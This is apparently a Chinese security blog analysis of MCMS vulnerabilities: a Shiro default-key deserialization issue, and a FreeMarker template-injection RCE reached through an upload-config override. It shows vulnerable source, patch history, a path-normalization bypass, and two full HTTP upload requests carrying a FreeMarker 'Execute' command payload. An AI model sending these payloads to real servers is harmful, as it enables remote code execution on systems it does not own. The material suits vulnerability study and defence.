又又又是一个属性覆盖带来的漏洞

又又又是一个属性覆盖带来的漏洞

想到最近出了好几个与属性覆盖有关的漏洞,突然想到有一个国产系统也曾经出过这类问题,比较有趣这里简单分享一下,希望把一些东西串起来分享方便学到一些东西

前后端框架信息梳理

首先简单从官网可以看出所使用的框架信息以及技术选型

https://gitee.com/mingSoft/MCMS?_from=gitee_search

我们主要关注几个点一个是shiro,一个是freemarker,还有就是具体的一些未鉴权的功能点,同时支持两种部署方式jar/war

关于路由的说明,在启动类当中,指出了扫描的包名前缀为net.mingsoft

1
2
3
4
5
6
7
8
@SpringBootApplication(scanBasePackages = {"net.mingsoft"})
@MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"})
@ServletComponentScan(basePackages = {"net.mingsoft"})
public class MSApplication {
public static void main(String[] args) {
SpringApplication.run(MSApplication.class, args);
}
}

因此与路由相关函数只会出现在三个地方

  1. 源目录下
  2. ms-basic依赖包下
  3. ms-mdiy依赖包下

这个系统曾出现过很多漏洞,各类后台文件上传利用,注入、任意文件删除等等,但其实都比较鸡肋不适合学习

Shiro反序列化(版本<=5.2.8 )

在开始前先简单我们知道shiro的版本高低只是加密方式的改变,实际上反序列化漏洞依然存在,如果系统使用了默认的key那也是存在潜在风险的,而恰好在MCMS<=5.2.8版本下都使用了默认的key,使用这个key生成payload,直接打CB链即可image-20231228213327055

接下来我们重点看另一个漏洞

前台模板SSTIRCE利用史

接下来我们看另一个漏洞,和模板相关的漏洞

因为这里的模板渲染使用了freemarker,我们便有两个思路:

  1. 版本是否在漏洞版本
  2. 写法是否安全

在MCMS中关于模板的渲染处理,是通过封装了一个工具类做的处理,在依赖包ms-mdiy中的net.mingsoft.mdiy.util.ParserUtil#rendering做处理

MCMS是在5.1版本开始使用freemarker做模板渲染,并且版本一直没有改变过,传家宝"2.3.31"

对于freemarker的模板,通常是通过api与new进行的利用,当然也有利用限制

对于内置函数api

api_builtin_enabledtrue时才可使用api函数,而该配置在2.3.22版本之后默认为false

对于内置函数new

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类。

2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。

3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。

可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析

尽管MCMS的漏洞版本比较高,但是他在5.8版本以下并未对内置函数new做严格限制,具体我们可以看看net.mingsoft.mdiy.util.ParserUtil#rendering

1
2
3
4
5
6
7
8
9
10
11
public static String rendering(Map root, String content) throws IOException, TemplateException {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_0);
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("template", content);
cfg.setNumberFormat("#");
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("template", "utf-8");
StringWriter writer = new StringWriter();
template.process(root, writer);
return writer.toString();
}

虽然在freemarker版本在较安全的版本,但并未配置new-builtin-class-resolver,因此接下来我们只需要找到调用的点即可

在高版本后5.2.9,开发者终于意识到这个问题,设置了cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

回到正题,这里我们先从较低的版本说起,以5.2.5来做例子

V<=5.2.5

首先是一个能任意控制模板渲染的函数

这个路由非常好找,就在源码路径下为数不多不是CRUD功能的类中net.mingsoft.cms.action.web.MCmsAction#search

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 实现前端页面的文章搜索
*
* @param request 搜索id
* @param response
*/
@RequestMapping(value = "search",method = {RequestMethod.GET, RequestMethod.POST})
@ResponseBody
public String search(HttpServletRequest request, HttpServletResponse response) {
String search = BasicUtil.getString("tmpl", "search.htm");
............
//解析后的内容
String content = "";
try {
//根据模板路径,参数生成
content = ParserUtil.rendering(search, params);
} catch (TemplateNotFoundException e) {
e.printStackTrace();
} catch (MalformedTemplateNameException e) {
e.printStackTrace();
} catch (ParseException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return content;
}

可以这里通过tmpl参数能实现渲染文件的完全控制,但是

ParserUtil.getPageSize(search, 20)当中我们会发现,其读取文件过程中使用了hutoolFileUtil.file,在这个第三方工具类使用了checkSlip防止目录穿越,因此非常可惜我们现在能渲染任意路径下的文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static File checkSlip(File parentFile, File file) throws IllegalArgumentException {
if (null != parentFile && null != file) {
String parentCanonicalPath;
String canonicalPath;
try {
parentCanonicalPath = parentFile.getCanonicalPath();
canonicalPath = file.getCanonicalPath();
} catch (IOException var5) {
throw new IORuntimeException(var5);
}

if (!canonicalPath.startsWith(parentCanonicalPath)) {
throw new IllegalArgumentException("New file is outside of the parent dir: " + file.getName());
}
}

return file;
}

那要想实现,那必须找到一个能够控制任意路径上传,或者能够配合目录穿越跳转的上传点,这个系统中正好就有,在net.mingsoft.basic.action.web.EditorAction#editor中,参数传入后交给了MsUeditorActionEnter类继续处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
String rootPath = BasicUtil.getRealPath("");
File saveFloder = new File(this.uploadFloderPath);
if (saveFloder.isAbsolute()) {
rootPath = saveFloder.getPath();
jsonConfig = jsonConfig.replace("{ms.upload}", "");
} else {
jsonConfig = jsonConfig.replace("{ms.upload}", "/" + this.uploadFloderPath);
}

String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""))).exec();
if (saveFloder.isAbsolute()) {
Map data = (Map)JSON.parse(json);
data.put("url", this.uploadMapping.replace("/**", "") + data.get("url"));
return JSON.toJSONString(data);
} else {
return json;
}
}

public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {
super(request, rootPath);
if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {
this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));
ConfigManager config = this.getConfigManager();
setValue(config, "rootPath", rootPath);
JSONObject _jsonConfig = new JSONObject(jsonConfig);
JSONObject jsonObject = config.getAllConfig();
Iterator iterator = _jsonConfig.keys();

while(iterator.hasNext()) {
String key = (String)iterator.next();
jsonObject.put(key, _jsonConfig.get(key));
}

}
}

在初始化过程中,先初始化了父类,这里可以看到,actionType受我们传入的参数控制,这个参数决定了方法的调用

1
2
3
4
5
6
7
public ActionEnter(HttpServletRequest request, String rootPath) {
this.request = request;
this.rootPath = rootPath;
this.actionType = request.getParameter("action");
this.contextPath = request.getContextPath();
this.configManager = ConfigManager.getInstance(this.rootPath, this.contextPath, request.getRequestURI());
}

接下来回到MsUeditorActionEnter构造函数处理过程,紧接着调用了this.getConfigManager()初始化一些上传配置,而这个配置来源于文件static/plugins/ueditor/1.4.3.3/jsp/config.json,这个配置文件对上传做了限制,包括保存文件路径模板、大小、允许的后缀等,感兴趣的可以自己看看这个初始化过程,因为不太关键这里就不多叙述

在这里可以看到存在一个参数覆盖的问题(jsonConfig来源于web参数),可以由自定义的输入覆盖默认配置,具体覆盖什么配置待会儿会说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {
super(request, rootPath);
if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {
this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));
ConfigManager config = this.getConfigManager();
setValue(config, "rootPath", rootPath);
JSONObject _jsonConfig = new JSONObject(jsonConfig);
JSONObject jsonObject = config.getAllConfig();
Iterator iterator = _jsonConfig.keys();

while(iterator.hasNext()) {
String key = (String)iterator.next();
jsonObject.put(key, _jsonConfig.get(key));
}

}
}

接下来初始化后调用exec方法,这里callback是否传入对我们不是很重要,继续看invoke方法

根据我们之前传入的actionType决定走入哪个分支

可以看到一共有8种类型,对应了不同的漏洞点,因为我们只关心RCE,所以这里就以上传为例,选择uploadfile

1
2
3
4
5
6
7
8
this.put("config", 0);
this.put("uploadimage", 1);
this.put("uploadscrawl", 2);
this.put("uploadvideo", 3);
this.put("uploadfile", 4);
this.put("catchimage", 5);
this.put("listfile", 6);
this.put("listimage", 7);

在之后调用(new Uploader(this.request, conf)).doExec()做处理,这里的参数走向我们同样不在乎随便选择一个即可

1
2
3
4
5
6
7
8
9
10
11
public final State doExec() {
String filedName = (String)this.conf.get("fieldName");
State state = null;
if ("true".equals(this.conf.get("isBase64"))) {
state = Base64Uploader.save(this.request.getParameter(filedName), this.conf);
} else {
state = BinaryUploader.save(this.request, this.conf);
}

return state;
}

省略其中的不关键的部分,这里我们只需要关注最终保存路径的生成即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
String savePath = (String)conf.get("savePath");
String originFileName = fileStream.getName();
String suffix = FileType.getSuffixByFilename(originFileName);
originFileName = originFileName.substring(0, originFileName.length() - suffix.length());
savePath = savePath + suffix;
long maxSize = (Long)conf.get("maxSize");
if (!validType(suffix, (String[])((String[])conf.get("allowFiles")))) {
return new BaseState(false, 8);
} else {
savePath = PathFormat.parse(savePath, originFileName);
String physicalPath = (String)conf.get("rootPath") + savePath;
InputStream is = fileStream.openStream();
State storageState = StorageManager.saveFileByInputStream(is, physicalPath, maxSize);
is.close();
if (storageState.isSuccess()) {
storageState.putInfo("url", PathFormat.format(savePath));
storageState.putInfo("type", suffix);
storageState.putInfo("original", originFileName + suffix);
}
}
...
  1. 从配置获取保存的路径
  2. 从Multipart解析文件后缀拼接
  3. 使用PathFormat.parse处理替换模板标签内容
  4. 与根路径拼接并写入文件

com.baidu.ueditor.PathFormat#parse的处理过程当中会对filename中字符做替换,导致/字符丢失因此不能从filename控制路径的穿越

1
filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", "");

因此我们只能通过控制savePath实现完整的路径控制(还记得么,上面一开始提到过可以做参数覆盖),对于我们的uploadfile的action,对应的savepath属性为filePathFormat,因此构造,当然也可以覆盖其他属性参数这里不重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Ps:{{url()}是yakit的url编码的标签
POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={{url({filePathFormat:'/template/1/default/2'})}}&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8079
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 362
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.txt"

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")}
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

V<=5.2.8

接下来我们看看开发是如何修复这个问题的,这里我的环境是5.2.8,这一次开发意识到了问题所在,做了两个步骤的修复

  1. rootPath由程序控制在必须为upload目录下
  2. 对每一个路径配置做了一次路径归一化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
String uploadFloderPath = MSProperties.upload.path;
String rootPath = BasicUtil.getRealPath(uploadFloderPath);
jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFloderPath);
Map<String, Object> map = (Map)JSONObject.parse(jsonConfig);
String imagePathFormat = (String)map.get("imagePathFormat");
imagePathFormat = FileUtil.normalize(imagePathFormat);
String filePathFormat = (String)map.get("filePathFormat");
filePathFormat = FileUtil.normalize(filePathFormat);
String videoPathFormat = (String)map.get("videoPathFormat");
videoPathFormat = FileUtil.normalize(videoPathFormat);
map.put("imagePathFormat", imagePathFormat);
map.put("filePathFormat", filePathFormat);
map.put("videoPathFormat", videoPathFormat);
jsonConfig = JSONObject.toJSONString(map);
MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""));
String json = actionEnter.exec();
Map jsonMap = (Map)JSON.parseObject(json, Map.class);
jsonMap.put("url", "/".concat(uploadFloderPath).concat(jsonMap.get("url") + ""));
return JSONObject.toJSONString(jsonMap);
}

那是不是就没办法了呢?请独立思考三分钟

之前提到了在PathFormat.parse当中,有对最终路径当中的模板做替换(当然这里和老版本的逻辑不一样,简化了很多,分析时以当前版本为准,有兴趣可以看看老版),可以看到会取{xxx}中的内容,之后调用getString做替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static String parse(String input, String filename) {
Pattern pattern = Pattern.compile("\\{([^\\}]+)\\}", 2);
Matcher matcher = pattern.matcher(input);
String matchStr = null;
currentDate = new Date();
StringBuffer sb = new StringBuffer();

while(matcher.find()) {
matchStr = matcher.group(1);
if (matchStr.indexOf("filename") != -1) {
filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", "");
matcher.appendReplacement(sb, filename);
} else {
matcher.appendReplacement(sb, getString(matchStr));
}
}

matcher.appendTail(sb);
return sb.toString();
}

可以看到如果字符不在当前的case当中会直接返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static String getString(String pattern) {
pattern = pattern.toLowerCase();
if (pattern.indexOf("time") != -1) {
return getTimestamp();
} else if (pattern.indexOf("yyyy") != -1) {
return getFullYear();
} else if (pattern.indexOf("yy") != -1) {
return getYear();
} else if (pattern.indexOf("mm") != -1) {
return getMonth();
} else if (pattern.indexOf("dd") != -1) {
return getDay();
} else if (pattern.indexOf("hh") != -1) {
return getHour();
} else if (pattern.indexOf("ii") != -1) {
return getMinute();
} else if (pattern.indexOf("ss") != -1) {
return getSecond();
} else {
return pattern.indexOf("rand") != -1 ? getRandom(pattern) : pattern;
}
}

有了这个思路我们便可以构造如下payload绕过校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Ps:{{url()}是yakit的url编码的标签
POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={filePathFormat:'/{.}./template/1/default/2'}&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 362
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.txt"

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")}
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

V<=5.3.5(目前最新版)

首先来看最新版做了哪些变动

  1. 在最外层做了jsonConfig判断内容(似乎也没修复什么)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {
String uploadFolderPath = MSProperties.upload.path;
boolean enableWeb = MSProperties.upload.enableWeb;
if (!enableWeb) {
HashMap<String, String> map = new HashMap();
map.put("state", "front end upload is not enabled");
return JSONUtil.toJsonStr(map);
} else {
String rootPath = BasicUtil.getRealPath(uploadFolderPath);
jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFolderPath);
Map<String, Object> map = (Map)JSONUtil.toBean(jsonConfig, Map.class);
String imagePathFormat = (String)map.get("imagePathFormat");
imagePathFormat = FileUtil.normalize(imagePathFormat);
String filePathFormat = (String)map.get("filePathFormat");
filePathFormat = FileUtil.normalize(filePathFormat);
String videoPathFormat = (String)map.get("videoPathFormat");
videoPathFormat = FileUtil.normalize(videoPathFormat);
map.put("imagePathFormat", imagePathFormat);
map.put("filePathFormat", filePathFormat);
map.put("videoPathFormat", videoPathFormat);
jsonConfig = JSONUtil.toJsonStr(map);
if (jsonConfig == null || !jsonConfig.contains("../") && !jsonConfig.contains("..\\")) {
MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""));
String json = actionEnter.exec();
Map jsonMap = (Map)JSONUtil.toBean(json, Map.class);
jsonMap.put("url", "/".concat(uploadFolderPath).concat(jsonMap.get("url") + ""));
return JSONUtil.toJsonStr(jsonMap);
} else {
throw new BusinessException(BundleUtil.getString("net.mingsoft.base.resources.resources", "err.error", new String[]{BundleUtil.getString("net.mingsoft.basic.resources.resources", "file.path", new String[0])}));
}
}
}
  1. 禁止通过属性覆盖修改允许的后缀(我估计开发以为模板引擎必须要htm后缀才行了,忘记他自己写的函数是可以随意指定后缀了2333),以及文件读取相关属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {
super(request, rootPath);
if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {
this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));
ConfigManager config = this.getConfigManager();
setValue(config, "rootPath", rootPath);
JSONObject _jsonConfig = new JSONObject(jsonConfig);
_jsonConfig.remove("fileManagerAllowFiles");
_jsonConfig.remove("imageManagerAllowFiles");
_jsonConfig.remove("catcherAllowFiles");
_jsonConfig.remove("imageAllowFiles");
_jsonConfig.remove("fileAllowFiles");
_jsonConfig.remove("videoAllowFiles");
_jsonConfig.remove("imageManagerListPath");
_jsonConfig.remove("fileManagerListPath");
JSONObject jsonObject = config.getAllConfig();
Iterator iterator = _jsonConfig.keys();

while(iterator.hasNext()) {
String key = (String)iterator.next();
jsonObject.put(key, _jsonConfig.get(key));
}

}
}
  1. 引擎解析测

设置禁止加载任意类

1
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)

但这样并不能完全修复问题,可以参考辅助学习(https://www.cnblogs.com/escape-w/p/17326592.html),虽然这个项目不存在这些问题就是了

那么如何才能rce呢?提示一下,我们知道此时文件上传其实仍然能够跨目录写的,那么只能从白名单中受限的后缀入手,发挥你的想象,这里就不直接给出答案了